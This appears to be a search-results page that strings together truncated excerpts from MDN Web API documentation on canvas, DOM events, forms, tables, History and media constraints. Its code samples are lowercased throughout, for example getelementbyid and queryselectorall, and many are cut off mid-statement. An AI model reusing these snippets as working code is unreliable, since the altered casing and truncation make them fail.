... html <canvas width="240"></canvas> <canvas width="240"></canvas> css canvas { border: 1px solid black; } javascript const canvases = document.queryselectorall('canvas'); const ctx1 = canvases[0].getcontext('2d'); const ctx2 = canvases[1].getcontext('2d'); ctx1.settransform(1, .2, .8, 1, 0, 0); ctx1.fillrect(25, 25, 50, 50); let storedtransform = ctx1.gettransform(); console.log(storedtransform); ctx2.settransform(storedtransform); ctx2.beginpath(); ctx2.arc(50, 50, 50, 0, 2 * math.pi); ctx2.fill(); result...
CanvasRenderingContext2D.shadowColor - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // shadow ctx.shadowcolor = 'red'; ctx.shadowoffsetx = 10; ctx.shadowoffsety = 10; // filled rectangle ctx.fillrect(20, 20, 100, 100); // stroked rectangle ctx.linewidth = 6; ctx.strokerect(170, 20, 100, 100); result shadows on translucent shapes a shadow's opacity is affected by the transparency leve...
... html <canvas id="canvas"></canvas> javascript the resulting alpha value of the fill shadow is .8 * .2, or .16.
CanvasRenderingContext2D.strokeRect() - Web APIs
html <canvas id="canvas"></canvas> javascript the rectangle's top-left corner is at (20, 10).
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.shadowcolor = '#d53'; ctx.shadowblur = 20; ctx.linejoin = 'bevel'; ctx.linewidth = 15; ctx.strokestyle = '#38f'; ctx.strokerect(30, 30, 160, 90); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.strokerect' in that specification.
CanvasRenderingContext2D.strokeText() - Web APIs
<canvas id="canvas" width="400" height="150"></canvas> javascript the javascript code for this example follows.
... html <canvas id="canvas" width="400" height="150"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.font = '50px serif'; ctx.stroketext('hello world', 50, 90, 140); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.stroketext' in that specification.
CanvasRenderingContext2D.textAlign - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); canvas.width = 350; const ctx = canvas.getcontext('2d'); const x = canvas.width / 2; ctx.beginpath(); ctx.moveto(x, 0); ctx.lineto(x, canvas.height); ctx.stroke(); ctx.font = '30px serif'; ctx.textalign = 'left'; ctx.filltext('left-aligned', x, 40); ctx.textalign = 'center'; ctx.filltext('center-aligned', x, 85); ctx.textalign = 'right'; ctx...
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.font = '30px serif'; ctx.direction = 'ltr'; ctx.textalign = 'start'; ctx.filltext('start-aligned', 0, 50); ctx.textalign = 'end'; ctx.filltext('end-aligned', canvas.width, 120); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.textalign' in that specif...
Basic usage of canvas - Web APIs
<!doctype html> <html> <head> <meta charset="utf-8"/> <title>canvas tutorial</title> <script type="text/javascript"> function draw() { var canvas = document.getelementbyid('tutorial'); if (canvas.getcontext) { var ctx = canvas.getcontext('2d'); } } </script> <style type="text/css"> canvas { border: 1px solid black; } </style> </head> <body onload="draw();"> <canvas id="tutorial" width="150" height="150"></canvas> </body> </html> the s...
... <!doctype html> <html> <head> <meta charset="utf-8"/> <script type="application/javascript"> function draw() { var canvas = document.getelementbyid('canvas'); if (canvas.getcontext) { var ctx = canvas.getcontext('2d'); ctx.fillstyle = 'rgb(200, 0, 0)'; ctx.fillrect(10, 10, 50, 50); ctx.fillstyle = 'rgba(0, 0, 200, 0.5)'; ctx.fillrect(30, 30, 50, 50); } } </script> </head> <body onload="draw();"> <canvas id="canv...
Using images - Web APIs
another potential advantage is that it is also possible to encapsulate in one file all of your css, javascript, html, and images, making it more portable to other locations.
...="frame" src="https://udn.realityripple.com/samples/57/952c634159.png" width="132" height="150"> </body> </html> and here's some css to make things look nice: body { background: 0 -100px repeat-x url(https://mdn.mozillademos.org/files/5415/bg_gallery.png) #4f191a; margin: 10px; } img { display: none; } table { margin: 0 auto; } td { padding: 15px; } tying it all together is the javascript to draw our framed images: function draw() { // loop through all images for (var i = 0; i < document.images.length; i++) { // don't add a canvas for the frame image if (document.images[i].getattribute('id') != 'frame') { // create canvas element canvas = document.createelement('canvas'); canvas.setattribute('width', 132); canvas.setattribute('height', 150);...
Console.dirxml() - Web APIs
WebAPIConsoledirxml
if it is not possible to display as an element the javascript object view is shown instead.
... syntax console.dirxml(object); parameters object a javascript object whose properties should be output.
DOMTokenList - Web APIs
it is indexed beginning with 0 as with javascript array objects.
... first, the html: <p class="a b c"></p> now the javascript: let para = document.queryselector("p"); let classes = para.classlist; para.classlist.add("d"); para.textcontent = `paragraph classlist is "${classes}"`; the output looks like this: trimming of whitespace and removal of duplicates methods that modify the domtokenlist (such as domtokenlist.add()) automatically trim any excess whitespace and remove duplicate values from the list.
DedicatedWorkerGlobalScope.postMessage() - Web APIs
the data may be any value or javascript object handled by the structured clone algorithm, which includes cyclical references.
...this may be any value or javascript object handled by the structured clone algorithm, which includes cyclical references.
DedicatedWorkerGlobalScope - Web APIs
some additional global functions, namespaces objects, and constructors, not typically associated with the worker global scope, but available on it, are listed in the javascript reference.
... dedicatedworkerglobalscope.postmessage() sends a message — which can consist of any javascript object — to the parent document that first spawned the worker.
Detecting device orientation - Web APIs
there are two javascript events that handle orientation information.
... window.addeventlistener("deviceorientation", handleorientation, true); after registering your event listener (in this case, a javascript function called handleorientation()), your listener function periodically gets called with updated orientation data.
Device Memory API - Web APIs
accessing device memory capacity there are two ways to acces the approximate amount of ram device has: via javascript api and via client hints http header.
... javascript api you may query the approximate amount of ram device has by retreiving navigator.devicememory var ram1 = window.navigator.devicememory; var ram2 = navigator.devicememory; both of these will return the same result.
Document: DOMContentLoaded event - Web APIs
synchronous javascript pauses parsing of the dom.
... if you want the dom to get parsed as fast as possible after the user has requested the page, you can make your javascript asynchronous and optimize loading of stylesheets.
Document.querySelector() - Web APIs
since javascript also uses backslash escaping, be especially careful when writing string literals using these characters.
...as the backslash is also an escape character in javascript, if you are entering a literal string, you must escape it twice (once for the javascript string, and another time for queryselector()): <div id="foo\bar"></div> <div id="foo:bar"></div> <script> console.log('#foo\bar'); // "#fooar" (\b is the backspace control character) document.queryselector('#foo\bar'); // does not match anything console.log('#foo\\bar'); ...
DocumentOrShadowRoot.getSelection() - Web APIs
example function foo() { var selobj = document.getselection(); alert(selobj); var selrange = selobj.getrangeat(0); // do stuff with the range } notes string representation of the selection object in javascript, when an object is passed to a function expecting a string (like window.alert()), the object's tostring() method is called and the returned value is passed to the function.
...however, attempting to use a javascript string property or method such as length or substr directly on a selection object results in an error if it does not have that property or method and may return unexpected results if it does.
Events and the DOM - Web APIs
for cross-browser compatibility, use one of the many javascript libraries available.
... html attribute <button onclick="alert('hello world!')"> the javascript code in the attribute is passed the event object via the event parameter.
Examples of web and XML development using the DOM - Web APIs
wherever possible, the examples use common apis, tricks, and patterns in javascript for manipulating the document object.
...); } </script> </head> <body onload="load();"> <table id="t-daddy" onclick="alert('hi');"> <tr id="tbl1"> <td id="c1">one</td> </tr> <tr> <td id="c2">two</td> </tr> </table> </body> </html> example 6: getcomputedstyle this example demonstrates how the window.getcomputedstyle method can be used to get the styles of an element that are not set using the style attribute or with javascript (e.g., elt.style.backgroundcolor="rgb(173, 216, 230)").
How to create a DOM tree - Web APIs
this page describes how to use the dom core api in javascript to create and modify dom objects.
... dom trees can be queried using xpath expressions, converted to strings or written to a local or remote files using xmlserializer (without having to first convert to a string), posted to a web server (via xmlhttprequest), transformed using xslt, xlink, converted to a javascript object through a jxon algorithm, etc.
Using the W3C DOM Level 1 Core - Web APIs
the easiest way for web page authors to edit the dom of a document is to use javascript to access the document property of the global object.
...the following script would do the job: html content <body> <input type="button" value="change this document." onclick="change()"> <h2>header</h2> <p>paragraph</p> </body> javascript content function change() { // document.getelementsbytagname("h2") returns a nodelist of the <h2> // elements in the document, and the first is number 0: var header = document.getelementsbytagname("h2").item(0); // the firstchild of the header is a text node: header.firstchild.data = "a dynamic document"; // now the header is "a dynamic document".
How whitespace is handled by HTML, CSS, and in the DOM - Web APIs
margin on the list items: li { display: inline-block; width: 2rem; height: 2rem; margin-right: -0.25rem; } you can also solve this problem by putting your list items all on the same line in the source, which causes the whitespace nodes to not be created in the first place: <li></li><li></li><li></li><li></li><li></li> dom traversal and whitespace when trying to do dom manipulation in javascript, you can also encounter problems because of whitespace nodes.
... whitespace helper functions the javascript code below defines several functions that make it easier to deal with whitespace in the dom: /** * throughout, whitespace is defined as one of the characters * "\t" tab \u0009 * "\n" lf \u000a * "\r" cr \u000d * " " spc \u0020 * * this does not use javascript's "\s" because that includes non-breaking * spaces (and also some other characters).
Element: blur event - Web APIs
bubbles no cancelable no interface focusevent event handler property onblur sync / async sync composed yes examples simple example html <form id="form"> <input type="text" placeholder="text input"> <input type="password" placeholder="password"> </form> javascript const password = document.queryselector('input[type="password"]'); password.addeventlistener('focus', (event) => { event.target.style.background = 'pink'; }); password.addeventlistener('blur', (event) => { event.target.style.background = ''; }); result event delegation there are two ways of implementing event delegation for this event: by using the focusout event, or by setting the us...
... html <form id="form"> <input type="text" placeholder="text input"> <input type="password" placeholder="password"> </form> javascript const form = document.getelementbyid('form'); form.addeventlistener('focus', (event) => { event.target.style.background = 'pink'; }, true); form.addeventlistener('blur', (event) => { event.target.style.background = ''; }, true); result specifications specification status comment ui events working draft added info that this event is composed.
Element: focus event - Web APIs
bubbles no cancelable no interface focusevent event handler property onfocus sync / async sync composed yes examples simple example html <form id="form"> <input type="text" placeholder="text input"> <input type="password" placeholder="password"> </form> javascript const password = document.queryselector('input[type="password"]'); password.addeventlistener('focus', (event) => { event.target.style.background = 'pink'; }); password.addeventlistener('blur', (event) => { event.target.style.background = ''; }); result event delegation there are two ways of implementing event delegation for this event: by using the focusin event, or by setting the use...
... html <form id="form"> <input type="text" placeholder="text input"> <input type="password" placeholder="password"> </form> javascript const form = document.getelementbyid('form'); form.addeventlistener('focus', (event) => { event.target.style.background = 'pink'; }, true); form.addeventlistener('blur', (event) => { event.target.style.background = ''; }, true); result specifications specification status comment ui events working draft added info that this event is composed.
Element.getAttributeNS() - Web APIs
<svg xmlns="http://www.w3.org/2000/svg" xmlns:test="http://www.example.com/2014/test" width="40" height="40"> <circle id="target" cx="12" cy="12" r="10" stroke="#444" stroke-width="2" fill="none" test:foo="hello namespaced attribute!"/> <script type="text/javascript"> var ns = 'http://www.example.com/2014/test'; var circle = document.getelementbyid( 'target' ); console.log( 'attribute test:foo: "' + circle.getattributens( ns, 'foo' ) + '"' ); </script> </svg> in an html5 document the attribute has to be accessed with test:foo since namespaces are not supported.
... <!doctype html> <html> <body> <svg xmlns="http://www.w3.org/2000/svg" xmlns:test="http://www.example.com/2014/test" width="40" height="40"> <circle id="target" cx="12" cy="12" r="10" stroke="#444" stroke-width="2" fill="none" test:foo="foo value"/> </svg> <script type="text/javascript"> var ns = 'http://www.example.com/2014/test'; var circle = document.getelementbyid( 'target' ); console.log('attribute value: ' + circle.getattribute('test:foo')); </script> </body> </html> notes namespaces are only supported in xml documents.
Element.getClientRects() - Web APIs
note that the javascript function that paints the client rects is connected to the markup via the class withclientrectsoverlay.
... strong { text-align: center; } div { display: inline-block; width: 150px; } div p, ol, table { border: 1px solid blue; } span, li, th, td { border: 1px solid green; } javascript the javascript code draws the client rects for all html elements that have css class withclientrectsoverlay assigned.
Element.innerHTML - Web APIs
WebAPIElementinnerHTML
however, there are ways to execute javascript without using <script> elements, so there is still a security risk whenever you use innerhtml to set strings over which you have no control.
... javascript function log(msg) { var logelem = document.queryselector(".log"); var time = new date(); var timestr = time.tolocaletimestring(); logelem.innerhtml += timestr + ": " + msg + "<br/>"; } log("logging mouse events inside this container..."); the log() function creates the log output by getting the current time from a date object using tolocaletimestring(), and building a string with the...
Event.defaultPrevented - Web APIs
javascript is used to prevent the second link from working.
... html <p><a id="link1" href="#link1">visit link 1</a></p> <p><a id="link2" href="#link2">try to visit link 2</a> (you can't)</p> <p id="log"></p> javascript function stoplink(event) { event.preventdefault(); } function logclick(event) { const log = document.getelementbyid('log'); if (event.target.tagname === 'a') { if (event.defaultprevented) { log.innertext = 'sorry, but you cannot visit this link!\n' + log.innertext; } else { log.innertext = 'visiting link...\n' + log.innertext; } } } const a = document.getelementbyid('link2'); a.addeventlistener('click', stoplink); document.addeventlistener('click', logclick); result specifications specification status comment domthe definition of 'event.defaultprevented()' in that specif...
Event.preventDefault() - Web APIs
this example demonstrates how to prevent that from happening: javascript document.queryselector("#id-checkbox").addeventlistener("click", function(event) { document.getelementbyid("output-box").innerhtml += "sorry!
...ass="container"> <p>please enter your name using lowercase letters only.</p> <form> <input type="text" id="my-textbox"> </form> </div> css we use a little bit of css for the warning box we'll draw when the user presses an invalid key: .warning { border: 2px solid #f39389; border-radius: 2px; padding: 10px; position: absolute; background-color: #fbd8d4; color: #3b3c40; } javascript and here's the javascript code that does the job.
FileReader.readAsDataURL() - Web APIs
example html <input type="file" onchange="previewfile()"><br> <img src="" height="200" alt="image preview..."> javascript function previewfile() { const preview = document.queryselector('img'); const file = document.queryselector('input[type=file]').files[0]; const reader = new filereader(); reader.addeventlistener("load", function () { // convert image file to base64 string preview.src = reader.result; }, false); if (file) { reader.readasdataurl(file); } } live result example readin...
...g multiple files html <input id="browse" type="file" onchange="previewfiles()" multiple> <div id="preview"></div> javascript function previewfiles() { var preview = document.queryselector('#preview'); var files = document.queryselector('input[type=file]').files; function readandpreview(file) { // make sure `file.name` matches our extensions criteria if ( /\.(jpe?g|png|gif)$/i.test(file.name) ) { var reader = new filereader(); reader.addeventlistener("load", function () { var image = new image(); image.height = 100; image.title = file.name; image.src = this.result; preview.appendchild( image ); }, false); reader.readasdataurl(file); } } if (files) { [].foreach.call(files, readandpreview); } } n...
Using the Frame Timing API - Web APIs
the performance tool's flame chart and call tree tabs provide data to help analyze the site's javascript usage.
... the call tree shows where the application is spending most of its time, whereas the flame chart shows the state of the javascript stack for the code at every millisecond during the performance profile.
GlobalEventHandlers.onanimationend - Web APIs
.slideanimation { animation: 5s ease-in-out 0s 1 slidebox; } @keyframes slidebox { from { left:0; top:0; } to { left:calc(100% - var(--boxwidth)); top:calc(100% - var(--boxwidth)) } } since the css describes the animation but doesn't connect it to the box, we'll need some javascript code to do that.
... javascript content before we get to the animation code, we define a function which logs information to a box on the user's screen.
GlobalEventHandlers.onanimationstart - Web APIs
.slideanimation { animation: 5s ease-in-out 0s 1 slidebox; } @keyframes slidebox { from { left:0; top:0; } to { left:calc(100% - var(--boxwidth)); top:calc(100% - var(--boxwidth)) } } since the css describes the animation but doesn't connect it to the box, we'll need some javascript code to do that.
... javascript content before we get to the animation code, we define a function which logs information to a box on the user's screen.
GlobalEventHandlers.onclick - Web APIs
html <div id="demo">click here</div> javascript document.getelementbyid('demo').onclick = function changecontent() { document.getelementbyid('demo').innerhtml = "help me"; document.getelementbyid('demo').style = "color: red"; } result getting the coordinates of clicks this example displays the coordinates at which the most recent mouse button click occurred.
... html <p>click anywhere in this example.</p> <p id="log"></p> javascript let log = document.getelementbyid('log'); document.onclick = inputchange; function inputchange(e) { log.textcontent = `position: (${e.clientx}, ${e.clienty})`; } result specification specification status comment html living standardthe definition of 'onclick' in that specification.
GlobalEventHandlers.oncontextmenu - Web APIs
is it disabled?<p> javascript window.oncontextmenu = (e) => { e.preventdefault(); } result pausing an animation this example pauses a spinning shape whenever you open the context menu.
...yframes spin { from { transform: rotate(0); } to { transform: rotate(1turn); } } .shape { width: 8em; height: 8em; display: flex; align-items: center; justify-content: center; animation: spin 18s linear infinite; background: lightsalmon; border-radius: 42%; margin: 1em; } .paused { background-color: #ddd; } .paused .shape { animation-play-state: paused; } javascript function pause(e) { body.classlist.add('paused'); note.removeattribute('hidden'); } function play(e) { body.classlist.remove('paused'); note.setattribute('hidden', ''); } const body = document.queryselector('body'); const note = document.queryselector('.note'); window.oncontextmenu = pause; window.onpointerdown = play; result specifications specification status com...
GlobalEventHandlers.onerror - Web APIs
error events are fired at various targets for different kinds of errors: when a javascript runtime error (including syntax errors and exceptions thrown within handlers) occurs, an error event using interface errorevent is fired at window and window.onerror() is invoked (as well as handlers attached by window.addeventlistener (not only capturing)).
... a workaround is to isolate "script error." and handle it knowing that the error detail is only viewable in the browser console and not accessible via javascript.
GlobalEventHandlers.onkeypress - Web APIs
html <input> <p id="log"></p> javascript const input = document.queryselector('input'); const log = document.getelementbyid('log'); input.onkeypress = logkey; function logkey(e) { log.textcontent += ` ${e.code}`; } result filter keys with a regular expression this example filters the characters typed into a form field using a regular expression.
... html <label>enter numbers only: <input> </label> javascript function numbersonly(event) { return event.charcode === 0 || /\d/.test(string.fromcharcode(event.charcode)); } const input = document.queryselector('input'); input.onkeypress = numbersonly; // prevent pasting (since pasted content might include non-number characters) input.onpaste = event => false; result capture the typing of a hidden word the following javascript function will do something after the user types the word "exit" in any point of a page.
GlobalEventHandlers.ontransitioncancel - Web APIs
0px; font: bold 1.6em "helvetica", "arial", sans-serif; -webkit-transition: width 2s, height 2s, background-color 2s, -webkit-transform 2s, color 2s; transition: width 2s, height 2s, background-color 2s, transform 2s, color 2s; } .box:hover { background-color: #ffcccc; color: #000000; width: 200px; height: 200px; -webkit-transform: rotate(180deg); transform: rotate(180deg); } javascript next, we need to establish our event handlers to change the text content of the box when the transition begins and ends.
... also note the log that appears in the javascript console when you click the box, or move the cursor away before the transition has run to completion.
HTMLElement: change event - Web APIs
ice-cream" name="ice-cream"> <option value="">select one …</option> <option value="chocolate">chocolate</option> <option value="sardine">sardine</option> <option value="vanilla">vanilla</option> </select> </label> <div class="result"></div> body { display: grid; grid-template-areas: "select result"; } select { grid-area: select; } .result { grid-area: result; } javascript const selectelement = document.queryselector('.ice-cream'); selectelement.addeventlistener('change', (event) => { const result = document.queryselector('.result'); result.textcontent = `you like ${event.target.value}`; }); result text input element for some elements, including <input type="text">, the change event doesn't fire until the control loses focus.
... html <input placeholder="enter some text" name="name"/> <p id="log"></p> javascript const input = document.queryselector('input'); const log = document.getelementbyid('log'); input.addeventlistener('change', updatevalue); function updatevalue(e) { log.textcontent = e.target.value; } result specifications specification status html living standardthe definition of 'change' in that specification.
HTMLElement.hidden - Web APIs
javascript document.getelementbyid("okbutton") .addeventlistener("click", function() { document.getelementbyid("welcome").hidden = true; document.getelementbyid("awesome").hidden = false; }, false); this code sets up a handler for the welcome panel's "ok" button that hides the welcome panel and makes the follow-up panel—with the curious name "awesome"—visible in its place.
... the follow-up panel once the user clicks the "ok" button in the welcome panel, the javascript code swaps the two panels by changing their respective values for hidden.
HTMLFormControlsCollection.namedItem() - Web APIs
like that one, in javascript, using the array bracket syntax with a string, like collection["value"] is equivalent to collection.nameditem("value").
... example html <form> <input id="my-form-control" type="textarea"> </form> javascript // returns the htmlinputelement representing #my-form-control elem1 = document.forms[0]['my-form-control']; specifications specification status comment html living standardthe definition of 'htmlformcontrolscollection.nameditem()' in that specification.
HTMLFormElement - Web APIs
issues with naming elements some names will interfere with javascript access to the form’s properties and elements.
... if you are not using javascript, this will not cause a problem.
HTMLElement.focus() - Web APIs
examples focus on a text field javascript focusmethod = function getfocus() { document.getelementbyid("mytextfield").focus(); } html <input type="text" id="mytextfield" value="text field."> <p></p> <button type="button" onclick="focusmethod()">click me to focus on the text field!</button> result focus on a button javascript focusmethod = function getfocus() { document.getelementbyid("mybutton").focus(); ...
...} html <button type="button" id="mybutton">click me!</button> <p></p> <button type="button" onclick="focusmethod()">click me to focus on the button!</button> result focus with focusoption javascript focusscrollmethod = function getfocus() { document.getelementbyid("mybutton").focus({preventscroll:false}); } focusnoscrollmethod = function getfocuswithoutscrolling() { document.getelementbyid("mybutton").focus({preventscroll:true}); } html <button type="button" onclick="focusscrollmethod()">click me to focus on the button!</button> <button type="button" onclick="focusnoscrollmethod()">click me to focus on the button without scrolling!</button> <div id="container" style="height: 1000px; width: 1000px;"> <button type="button" id="mybutton" style="margin-top: 500px;...
HTMLScriptElement - Web APIs
javascript files should be served with the application/javascript mime type, but browsers are lenient and block them only if the script is served with an image type (image/*), video type (video/*), audio type (audio/*), or text/csv.
... htmlscriptelement.nomodule is a boolean that if true, stops the script's execution in browsers that support es2015 modules — used to run fallback scripts in older browsers that do not support javascript modules.
HTMLSelectElement.form - Web APIs
syntax edit aform = aselectelement.form.selectname; example html <form action="http://www.google.com/search" method="get"> <label>google: <input type="search" name="q"></label> <input type="submit" value="search..."> </form> javascript a property available on all form elements, "type" returns the type of the calling form element.
...the below code gives all select elements in a particular form a css class of "selectclass": <script type="text/javascript"> var form_element = document.getelementbyid('subscribe_form'); var vist = form_element.style; if (vist.display=='' || vist.display=='none') { vist.display = 'block'; } else { vist.display = 'none'; } </script> specifications specification status comment html living standardthe definition of 'form' in that specification.
HTMLSelectElement.item() - Web APIs
in javascript, using the array bracket syntax with an unsigned long, like selectelt[index] is equivalent to selectelt.nameditem(index).
... examples html <form> <select id="myformcontrol" type="textarea"> <option id="o1">opt 1</option> <option id="o2">opt 2</option> </select> </form> javascript // returns the htmloptionelement representing #o2 elem1 = document.forms[0]['myformcontrol'][1]; specifications specification status comment html living standardthe definition of 'htmlselectelement.item()' in that specification.
HTMLSelectElement.namedItem() - Web APIs
in javascript, using the array bracket syntax with a string, like selectelt["value"] is equivalent to selectelt.nameditem("value").
... example html <form> <select id="myformcontrol"> <option id="o1">opt 1</option> <option id="o2">opt 2</option> </select> </form> javascript elem1 = document.forms[0]['myformcontrol']['o1']; // returns the htmloptionelement representing #o1 specifications specification status comment html living standardthe definition of 'htmlselectelement.nameditem()' in that specification.
HTMLTableElement.createCaption() - Web APIs
syntax htmltableelement = table.createcaption(); return value htmltablecaptionelement example this example uses javascript to add a caption to a table that initially lacks one.
... html <table> <tr><td>cell 1.1</td><td>cell 1.2</td><td>cell 1.3</td></tr> <tr><td>cell 2.1</td><td>cell 2.2</td><td>cell 2.3</td></tr> </table> javascript let table = document.queryselector('table'); let caption = table.createcaption(); caption.textcontent = 'this caption was created by javascript!'; result specifications specification status comment html living standardthe definition of 'htmltableelement: createcaption' in that specification.
HTMLTableElement.deleteCaption() - Web APIs
syntax htmltableelement.deletecaption() example this example uses javascript to delete a table's caption.
... html <table> <caption>this caption will be deleted!</caption> <tr><td>cell 1.1</td><td>cell 1.2</td></tr> <tr><td>cell 2.1</td><td>cell 2.2</td></tr> </table> javascript let table = document.queryselector('table'); table.deletecaption(); result specifications specification status comment html living standardthe definition of 'htmltableelement: deletecaption' in that specification.
HTMLTableElement.deleteRow() - Web APIs
example this example uses javascript to delete a table's second row.
... html <table> <tr><td>cell 1.1</td><td>cell 1.2</td><td>cell 1.3</td></tr> <tr><td>cell 2.1</td><td>cell 2.2</td><td>cell 2.3</td></tr> <tr><td>cell 3.1</td><td>cell 3.2</td><td>cell 3.3</td></tr> </table> javascript let table = document.queryselector('table'); // delete second row table.deleterow(1); result specifications specification status comment html living standardthe definition of 'htmltableelement: deleterow' in that specification.
HTMLTableElement.deleteTFoot() - Web APIs
syntax htmltableelement.deletetfoot(); example this example uses javascript to delete a table's footer.
... html <table> <thead><th>name</th><th>score</th></thead> <tr><td>bob</td><td>541</td></tr> <tr><td>jim</td><td>225</td></tr> <tfoot><th>average</th><td>383</td></tfoot> </table> javascript let table = document.queryselector('table'); table.deletetfoot(); result specifications specification status comment html living standardthe definition of 'htmltableelement: deletetfoot' in that specification.
HTMLTableElement.deleteTHead() - Web APIs
syntax htmltableelement.deletethead(); example this example uses javascript to delete a table's header.
... html <table> <thead><th>name</th><th>occupation</th></thead> <tr><td>bob</td><td>plumber</td></tr> <tr><td>jim</td><td>roofer</td></tr> </table> javascript let table = document.queryselector('table'); table.deletethead(); result specifications specification status comment html living standardthe definition of 'htmltableelement: deletethead' in that specification.
HTMLTableRowElement.rowIndex - Web APIs
example this example uses javascript to label all the row numbers in a table.
... html <table> <thead> <tr><th>item</th> <th>price</th></tr> </thead> <tbody> <tr><td>bananas</td> <td>$2</td></tr> <tr><td>oranges</td> <td>$8</td></tr> <tr><td>top sirloin</td> <td>$20</td></tr> </tbody> <tfoot> <tr><td>total</td> <td>$30</td></tr> </tfoot> </table> javascript let rows = document.queryselectorall('tr'); rows.foreach((row) => { let z = document.createelement("td"); z.textcontent = `(row #${row.rowindex})`; row.appendchild(z); }); result ...
HTMLTextAreaElement - Web APIs
examples autogrowing textarea example make a textarea autogrow while typing: javascript function autogrow (ofield) { if (ofield.scrollheight > ofield.clientheight) { ofield.style.height = ofield.scrollheight + "px"; } } css textarea.noscrollbars { overflow: hidden; width: 300px; height: 100px; } html <form> <fieldset> <legend>your comments</legend> <p><textarea class="noscrollbars" onkeyup="autogrow(this);"></textarea></p> <p><input type="submit" val...
... javascript function insertmetachars(sstarttag, sendtag) { var bdouble = arguments.length > 1, omsginput = document.myform.mytxtarea, nselstart = omsginput.selectionstart, nselend = omsginput.selectionend, soldtext = omsginput.value; omsginput.value = soldtext.substring(0, nselstart) + (bdouble ?
The HTML DOM API - Web APIs
in addition, promiserejectionevent represents the event delivered when a javascript promise is rejected.
... javascript const namefield = document.getelementbyid("username"); const sendbutton = document.getelementbyid("sendbutton") sendbutton.disabled = true; // [note: this is disabled since it causes this article to always load with this example focused and scrolled into view] //namefield.focus(); namefield.addeventlistener("input", event => { const elem = event.target; const valid = elem.value.length != 0...
History.pushState() - Web APIs
WebAPIHistorypushState
syntax history.pushstate(state, title[, url]) parameters state the state object is a javascript object which is associated with the new history entry created by pushstate().
... javascript const state = { 'page_id': 1, 'user_id': 5 } const title = '' const url = 'hello-world.html' history.pushstate(state, title, url) specifications specification status comment html living standardthe definition of 'history.pushstate()' in that specification.
History - Web APIs
WebAPIHistory
the data is treated as opaque by the dom; you may specify any javascript object that can be serialized.
...the data is treated as opaque by the dom; you may specify any javascript object that can be serialized.
IDBObjectStore.createIndex() - Web APIs
bear in mind that indexeddb indexes can contain any javascript data type; indexeddb uses the structured clone algorithm to serialize stored objects, which allows for storage of simple and complex objects.
... auto: the platform default locale will be used (may be changed by user agent settings.) null or undefined: if no locale is specified, normal javascript sorting will be used — not locale-aware.
KeyboardEvent.code - Web APIs
examples exercising keyboardevent html <p>press keys on the keyboard to see what the keyboardevent's key and code values are for each one.</p> <div id="output"> </div> css #output { font-family: arial, helvetica, sans-serif; border: 1px solid black; } javascript window.addeventlistener("keydown", function(event) { let str = "keyboardevent: key='" + event.key + "' | code='" + event.code + "'"; let el = document.createelement("span"); el.innerhtml = str + "<br/>"; document.getelementbyid("output").appendchild(el); }, true); try it out to ensure that keystrokes go to the sample, click in the output box below before pressing keys.
...ml <p>use the wasd (zqsd on azerty) keys to move and steer.</p> <svg xmlns="http://www.w3.org/2000/svg" version="1.1" class="world"> <polygon id="spaceship" points="15,0 0,30 30,30"/> </svg> <script>refresh();</script> css .world { margin: 0px; padding: 0px; background-color: black; width: 400px; height: 400px; } #spaceship { fill: orange; stroke: red; stroke-width: 2px; } javascript the first section of the javascript code establishes some variables we'll be using.
MSSiteModeEvent - Web APIs
*this property is not supported for windows store apps using javascript.
...*this property is not supported for windows store apps using javascript.
MediaStreamConstraints.audio - Web APIs
oplay controls></audio><br> <div id="log"></div> css content body { font: 14px "open sans", "arial", sans-serif; } audio { margin-top: 20px; border: 1px solid black; width: 160px; } .button { cursor: pointer; width: 160px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white; background-color: darkgreen; } javascript content let audioelement = document.getelementbyid("audio"); let logelement = document.getelementbyid("log"); function log(msg) { logelement.innerhtml += msg + "<br>"; } document.getelementbyid("startbutton").addeventlistener("click", function() { navigator.mediadevices.getusermedia({ audio: true }).then(stream => audioelement.srcobject = stream) .catch(err => log(err.name + ": ...
...oplay controls></audio><br> <div id="log"></div> css content body { font: 14px "open sans", "arial", sans-serif; } audio { margin-top: 20px; border: 1px solid black; width: 160px; } .button { cursor: pointer; width: 160px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white; background-color: darkgreen; } javascript content let audioelement = document.getelementbyid("audio"); let logelement = document.getelementbyid("log"); function log(msg) { logelement.innerhtml += msg + "<br>"; } document.getelementbyid("startbutton").addeventlistener("click", function() { navigator.mediadevices.getusermedia({ audio: { samplesize: 8, echocancellation: true } }).then(stream => audioelement.src...
MediaStreamConstraints.video - Web APIs
th="160" height="120" autoplay></video><br> <div id="log"></div> css content body { font: 14px "open sans", "arial", sans-serif; } video { margin-top: 20px; border: 1px solid black; } .button { cursor: pointer; width: 160px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white; background-color: darkgreen; } javascript content let videoelement = document.getelementbyid("video"); let logelement = document.getelementbyid("log"); function log(msg) { logelement.innerhtml += msg + "<br>"; } document.getelementbyid("startbutton").addeventlistener("click", function() { navigator.mediadevices.getusermedia({ video: true }).then(stream => videoelement.srcobject = stream) .catch(err => log(err.name + "...
...th="160" height="120" autoplay></video><br> <div id="log"></div> css content body { font: 14px "open sans", "arial", sans-serif; } video { margin-top: 20px; border: 1px solid black; } .button { cursor: pointer; width: 160px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white; background-color: darkgreen; } javascript content let videoelement = document.getelementbyid("video"); let logelement = document.getelementbyid("log"); function log(msg) { logelement.innerhtml += msg + "<br>"; } document.getelementbyid("startbutton").addeventlistener("click", function() { navigator.mediadevices.getusermedia({ video: { width: 160, height: 120, framerate: 15 } }).then(stream =>...
Media Source API - Web APIs
using mse, media streams can be created via javascript, and played using <audio> and <video> elements.
